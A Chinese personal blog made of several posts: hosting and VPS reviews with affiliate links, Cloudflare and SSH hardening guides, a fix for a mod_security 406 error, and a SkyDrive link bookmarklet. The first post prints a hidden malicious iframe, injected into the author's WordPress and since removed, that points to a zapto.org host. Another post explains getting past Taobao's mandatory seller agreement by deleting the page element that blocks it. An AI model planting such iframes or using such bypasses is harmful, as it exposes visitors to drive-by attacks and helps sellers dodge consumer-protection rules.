一趟海南，没管理网站，回来发现谷歌娘的safe browing 已经把我和谐了，原以为服务器上的其他网站的病毒，没太在意。

没想到这么非主流的网站都有人“关照”

今天仔细一看，发现确实有一段frame代码，嵌入了wordpress中，已经清除了，请大家放心。

另外如果有忽略谷歌娘提示，或者使用的非chrome和ff的童鞋，大可放心，插入的代码基本不能访问。

因为不能解析其域名，所以没有危害。

nslookup kotiscity.zapto.org 8.8.8.8
DNS request timed out.
    timeout was 2 seconds.
服务器:  UnKnown
Address:  8.8.8.8

DNS request timed out.
    timeout was 2 seconds.
*** UnKnown 找不到 kotiscity.zapto.org: Non-existent domain

这段代码如下：

<iframe src="http://kotiscity.zapto.org/fu2/nig/pix.php?id=e907857954e5c472" width="1" height="1" frameborder="0"></iframe>

总之，引起的担惊受怕，跟大家说一声抱歉。

一些数据

同年8月10日到现在：

冷博客共接待了14万独立访客的21万次访问。

冷博客共发表了400篇文章，获得了902条包括冷博客自己在内的评论。

以及2082条广告评论，和上百名订阅用户。

这些对于一个商业网站可能也就是一个星期或者一天的访问数据。不过对于冷博客来说，从来没有做过宣传的个人博客，冷博客只能说贵在坚持。

关于评论

期间有各种质疑和赞许，冷博客没有删除一条非广告评论，不管是说冷博客好还是差。

好比最近出现的两条差别很大的评论：

同一篇文章，同一个时间评论，同样是看不懂，不同人有着不同的解答。

人上一百形形色色，何况冷博客这800多条评论呢，所以冷博客坚持不删任何评论。

然后对内近2000条的垃圾评论，冷博客只想说你们或者你们的雇主可能不太懂wordpress里评论链接。

第一.wp的评论人的网站链接不能作为友情链接或者任何SEO的有利条件，因为其评论有rel=’external nofollow’的属性

第二.冷博客的访问量不够，还没有大量的人去点击评论人的链接，而且我这里有验证码，写垃圾评论又费时又费力。

关于广告

冷博客最近刚刚收到google adsense的广告费，只能说还在赔本中，不过单就冷博客这个站而言还是可以自负盈亏的。

冷博客每个文章页面有三个谷歌广告，一个主机上广告，确实有点儿多，而且冷博客自己也特讨厌广告。

不过为了冷博客能坚持下去（最近两个友链站纷纷关张），大家还是多多关照吧。

关于友链

最近又有两个申请友链的站点，一个是企业站，这个没办法友链，你不能让一个种地的和一个空姐做朋友吧。还是在友情链接内页里写的一样，有发展的能持久的个人站点。

关于主机

还是3ix的主机，虽然经常出问题，但客服是24×7的，没有一次没人应答。这比国内的要好，域名也是3ix买的，可能还要比godaddy便宜一些（不算优惠码）。

站长们最关心的uptime如下，监控宝的本年截图：

这种东西一分钱一分货，如果你也想买和冷博客一样的主机，请点击我的邀请链接：http://www.3ix.org/sys/aff.php?aff=10342

关于屏蔽

最近冷博客一些文章被屏蔽，如果你通过搜索引擎或者什么的点进去会出现连接重置，这是典型的被墙了，还好只是关键字，没有涉及整个域名和IP，所以逼不得已，冷博客撤掉了这些”惹事儿”的文章。

关于未来

冷博客一会儿半会儿还不会关门，拿着google adsense的钱（虽然还没到手）又续了两年的域名和空间，到2013年了。总之，只要没被和谐冷博客就会一直存在！

在这个页面上：

http://loneblog.com/blog/xmlrpc.php

406 Not Acceptable

当时以为是网络问题，今天到单位一看，还是不行。

随即又重新装了一个wordpress3.1 在服务器上，测试了一下还是406错误，于是又换了个离线软件，总之不行。

谷歌了一下，大概可能是这个问题：

关闭 Mod security 设置。有的服务器可能允许用户通过使用.htaccess控制
Mod security 选项权限，但是很多不支持。所以最好请空间商帮你关闭。给空间商发个ticket，请他们关闭

Mod Security服务.下面是范文，呵呵 ^_^

        Hello, I am sorry to bother you! I hope you can help me disable the Mod security for this domain: xx.com, my cpanel account name is XXX. Because my URL must contain the characters “%”, but the Mod security led to the error, thanks very much!

          同时以下是通过增加.htaccess规则来关闭mod_security模块，2个规则是一样的功效，如果你增加后发现空间打开出现500错误，那么说明你的服务器不允许自定义关闭mod_security模块，只能联系空间商管理员了。

于是我在线问客服，客服跟我整整周旋了两个小时，两个小时呀，有木有，终于把服务器上的mod_security关掉了，问题顺利解决。

期间冷博客停运1个小时。

如果你遇到一些功能页面发生406错误，可以这样尝试修改：

在根目录下创建或者修改.htaccess文件，加入这两行：

SecFilterEngine Off
SecFilterScanPOST Off

如果出现500错误，很可能是这个mod_security模块的问题。赶紧致电客服。

这里还是要夸一夸3ix的客服，因为冷博客从北京时间17点开始询问，正是美国凌晨，客服很有耐心的跟我周旋了两个小时，没有推脱耗，非常敬业！

来自美国的网站安全服务提供商，按照官方说法，提供了除全球分布的CDN服务器之外，外还有安全dns、防火墙、网站资源优化分析、防毒防盗链等大大小小20来项功能。而且大部分功能的basci版都是免费的

官网：http://www.cloudflare.com

之前据说被屏蔽过，不知道以后会不会抽风。

虽然没有中文支援，不过使用很简单，点注册，无需验证邮箱，之后就可以通过四步添加站点。

1.输入域名

如果写的是二级域名，会自动找主域名如果，没有特殊要求直接下一步即可。

2.检查域名

网站自动检测所有二级域名，如果有遗漏手动添加即可，如果没有特殊要求直接下一步即可。

彩色的云彩是启用该服务的，灰色的是保持原样。对于一些SSh SSL等网站建议不开启CDN

3.配置cloudflare

很多设置，包括防火墙、缓存级别、安全级别、防盗链等设置，很多有意思的功能在这里都能找到。

如果没有特殊要求直接下一步即可。

然后你需要到自己的dns服务器或者dns域名提供商那里，把自己的域名指向他给的dns服务器的地址。

到此大功告成！

如果想要更多更强大的功能，就要掏银子了，而且这个服务自带了流量监控功能，不过考虑到国内大部分ISP自己做cache的dns，导致dns更新周期过慢，而且这个流量统计还不够专业。

不得不说网站做的非常漂亮。下图是部分统计信息。

冷博客现在全站包括过劳死中文站，都在用这个cdn，由于3ix也是在美国，可能比以前会快一点点。

这是他IP的超级ping数据：

最快：美国[地区] 4 毫秒    最慢：河南[联通] 362 毫秒
电信平均： 222 毫秒    网通平均： 316 毫秒

后来，冷博客质问淘宝客服的时候，发现淘宝不会追究这类人的责任，只能关闭其商店，并没有更多举措，比如透露给受害者卖家信息等等。

即使是办理了淘宝消保计划的商家，仍然可以放弃消保的钱，赚一票就走人！

所以，消保只是一把玻璃锁，防君子不防小人。

至于淘宝借此由头来敛财，实属马云的奸诈。每个商家不加入消保计划就不能发布商品，然后卖家把钱存到淘宝（支付宝），作为抵押金，淘宝光这一点就能坐收渔翁之利！淘宝变身保险公司，实属奸诈！

念念碎了这么多，无非是想说，消保固然好，强制执行就有悖道义！

下面教大家简单破解淘宝这个小把戏。

1.下载Opera浏览器，我用的版本信息如下：

版本信息
版本
11.10

编制
2092

平台
Win32

系统
Windows 7

2.打开并找到：“您未签署《消费者保障服务协议》，暂不能发布宝贝”的页面。

在页面右键，点击“源代码”

找到并删除如下字段：

<div id=”J_ProtocolLayer” class=”layer-container”>
<div class=”layer-content”>
<div id=”J_LayerContent”>
<strong>您未签署《消费者保障服务协议》，暂不能发布宝贝</strong>
<p>自2011年1月1日起，全网卖家须签署《消费者保障服务协议》承诺为消费者提供购物保障服务。若未签署协议，将不能发布宝贝。</p>
<p>点击“签署协议”按钮，您将进入签署消保协议页面签署协议。</p>
</div>
<div class=”layer-btn”>                <a id=”J_BtnTo” href=”http://ecrm.taobao.com/prepay/sign_agreement.htm” target=”_blank” class=”advise”>去签署协议<span class=”jump-gt”>&gt;&gt;</span></a>
</div>
</div>
</div>

这是一个ProtocolLayer的div，删除之。点击左上角”应用更改“，再回到刚才发布页~可以发布了吧~

鉴于淘宝对已经发布和下架的商品修改没有限制，大家可以先存一些没用的东西，以防以后淘宝更多举动！

最后，强大的opera还有其他用处，此文权当抛砖引玉，老鸟莫笑！

用的是WordPress Mobile Pack，从这里可以找到他：http://wordpress.org/extend/plugins/wordpress-mobile-pack/

非常不错的插件，会自动通过浏览器辨识是否用手机等设备而不是PC浏览本站。

还有就是二维码，通过扫描软件轻松访问：

新建一个收藏夹（书签），名字随意，网址请复制一下内容（保持在一行，否则无效）

javascript:var%20n=document.title.replace(’%20-%20Windows%20Live’,”);var%20id=((location.hash==”)?window.selfPageData.currentItemHash:location.hash).replace(’#resId/’,”);var%20u=’http://storage.live.com/items/’+id+’?'+encodeURI(n);var%20p=’http://’+document.location.host+’/redir.aspx?page=self&resId=’+id;var%20e=’<input%20onmouseover=%22this.select();%22%20onclick=%22this.select();%22%20value=%22′;var%20f=’%22%20style=%22width:580px%22%20type=%22text%22%20/><br>’;var%20d=’%20(<a%20href=%22http://loneblog%2Ecom/%22>loneblog%2Ecom</a>)’;var%20c=’\u5916\u94FE\u5730\u5740:’+d+e+u+f+’\u5206\u4EAB\u5730\u5740:’+e+p+f;var%20a=document.getElementById(’content’);var%20g=(a.getElementsByTagName(’p')[0]);var%20b=g?g:document.createElement(’P');b.innerHTML=c;a.insertBefore(b,a.firstChild);void(0)

在skydrive的文件页面，点击这个收藏（书签），或者在地址栏里输入上面的天书，就能得到该文件的永久链接地址。

这个方法冷博客在ie chrome和 ff中都试验通过了，不过还有个大问题，就是文件名总是乱码

不仅文件名，而且后缀也无法显示…

只能是现阶段凑活用，以后在等高人吧，这个也不是我原创的，从采集站找到的，把广告换成俺的了

先上个截图：

一、外观

继承和发扬了office的特点——碍眼，都知道显示器由正方向宽屏长方发展，原来挺好的侧边栏为啥又整到上面去了。巨大的功能区，大而无用，冷博客写个博文不能总改字体和样式吧。

二、功能

功能有很大的变化，尤其是对插入内容可编辑性大大提高，对图片可以实现和office中一样的编辑、滤镜甚至是水印功能，不过还是比较简单的一些功能。

插件功能依然不给力，没有几个关于wp的插件…

三、撰写

通过选项来看和上一版本差不多，没有很大的改善，而且对wp而言修改文章数据域的时候更麻烦。

不过可以插入更多的媒体，比如和bing地图链接的“地图”，表情图释，日志标签等插入项，还可以插入表格。

联机相册的功能非常给力。不过貌似只支持Live的相册

这个插入一个地图测试：地坛公园

四、日志账户

多了这么一栏，可以直接进入wp主页、评论页等，还是方便了一些。

这是昨天的logwatch

——————— pam_unix Begin ————————
sshd:
    Authentication Failures:
       unknown (lrouen-151-71-15-207.w80-11.abo.wanadoo.fr): 19 Time(s)
    Invalid Users:
       Unknown Account: 19 Time(s)
vsftpd:
    Unknown Entries:
       authentication failure; logname= uid=0 euid=0 tty=ftp ruser=anonymous rhost=* : 3 Time(s)
       check pass; user unknown: 3 Time(s)
———————- pam_unix End ————————-

 

 

——————— SSHD Begin ————————
Illegal users from:
    80.11.161.207 (LRouen-151-71-15-207.w80-11.abo.wanadoo.fr): 19 times
…

Received disconnect:
    11: Bye Bye : 12 Time(s)
———————- SSHD End ————————-

这样搞不知道那天就攻破了~所以提高安全很是必要~

注意：只有SSH管理主机的童鞋们注意了，千万不能玩脱了，把自己屏蔽了就糗了！！

先在本地/虚拟机做实验！

一.修改sshd服务器的配置文件/etc/ssh/sshd_config，将部分参数参照如下修改，增强安全性。

1.改端口

Port 2123

系统缺省使用22号端口，将监听端口更改为其他数值（最好是1024以上的高端口，以免和其他常规服务端口冲突），这样可以增加入侵者探测系统是否运行了 sshd守护进程的难度。

冷博客只采取了这条试验一下，下面的都是计划方案。

2.禁止root登陆

PermitRootLogin no

阻止了root我们如何对系统进行调整呢？新建一个账号，然后赋予它sudo的权限，并且要用复杂密码和用户名。

useradd 27×88.0op7xu;passwd 27×88.0op7xu

echo ‘27×88.0op7xu ALL=(ALL) ALL’ >> /etc/sudoers 或者

vim /etc/sudoers 添加一行：

27×88.0op7xu    ALL=(ALL)       ALL

这样就安全多了

3.关闭密码登陆

PasswordAuthentication no

禁止通过密码SSH登陆，我们通过ssh 密钥匹配来登录系统，具体方法网上很多，这里不多说

二.设置tcp wrappers。通过hosts.allow和hosts.deny限定用户访问。

由于冷博客没有固定IP，没有采用

将那些明确允许的请求添加到/etc/hosts.allow中。如系统仅允许IP地址为192.168.0.15和10.0.0.11的主机使用 sshd服务，则添加如下内容：

sshd:192.168.0.15 10.0.0.11

后面还有很多行，该添的要添，否则该通的不同。

三.禁用ping功能

其实这个功能也非常好，之所以放在第三条是因为，一些如监控网站的服务可能通过Ping来检测网站健康度，如“监控宝”，而且你自己网站挂了，很多人第一时间想到的是ping一下域名。关了以后很不方便，不过确实要安全一些，相对于web站点，这个就无所谓了，禁Ping是为了隐藏这个地址么~

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

或者

ipatbles -A INPUT -s 0/0 -p icmp -j DROP

四.关闭无用服务

这个也是因人而异，比如我开了ftp，不用时我关了，等用的时候我在开，挺麻烦的。

五.在RHEL4上设置ssh策略，重试N次后锁定帐号一定时间

来源:http://www.soliddb.org/2010/09/14/259/

注意： 此策略只在RHEL4上可以使用，RHEL5的pam_tally.so 与RHEL4有一定的区别

修改 /etc/pam.d/sshd,修改后内容为，
#%PAM-1.0
auth       required     pam_stack.so service=system-auth
#新增下面这行，指明普通用户6次密码错误后，禁止登录60秒； root用户禁止登录120秒。
auth       required     pam_tally2.so onerr=fail deny=6 unlock_time=60
even_deny_root root_unlock_time=120
auth       required     pam_nologin.so

account    required     pam_stack.so service=system-auth
#新增下面这行，指明account使用 pam_tally2.so
account    required     pam_tally2.so

password   required     pam_stack.so service=system-auth

session    required     pam_stack.so service=system-auth
session    required     pam_loginuid.so

一直想搞个VPS玩一玩，看了看免费的都太操蛋，还不够折腾的呢，干脆买个便宜的美国VPS试试。相比之下YardVPS性价比还是挺高的，具体以后怎么样还要看运气，毕竟只有100人民币一年，一分钱一分货嘛。

使用了几天，感觉速度是一流的，北京网通冷博客本地测试下载是满速滴~

建议虚拟空间的站长（像冷博客这样的）都可以速速转到这类小型VPS来。像冷博客这个博客使用虚拟空间，每个月要1个美元，如果换成VPS，每年仅仅多了3个美元。

不仅访问速度快了，还可以玩玩别的server，最重要的是支持支付宝付款，这对我们这些没有境外信用卡的站长真是大大的喜讯，而且没有手续费，按当日汇率，差不多100人民币左右~

★下面是冷博客的推荐链接，点击进入官网注册~

http://www.yardvps.com/billing/aff.php?aff=239

进入之后，点击OpenVZ，看到第一列的LEAF 1 就是冷博客今天要推荐的，详细信息如下：

不过要提醒大家一点，这款比较热门，经常提示“暂时缺货”

站长超级ping：

最快：10. [福建电信] 字节=32 状态=Success 时间=187毫秒 TTL=53
最慢：3. [河南网通] 字节=32 状态=Success 时间=261毫秒 TTL=55

这里要说一下在晚高峰站长ping的延迟也会增大~

然后冷博客注册了两个免费玉米，挂了一个图床，你们可以去看看和免费使用~

tuchuang.tk

后几篇文章都是关于如何在新VPS中 纯手工安装至少以下内容：

LAMP（以后会换成LNMP）

DNS

vsFTP

Sendmail

SNMP

Squid

…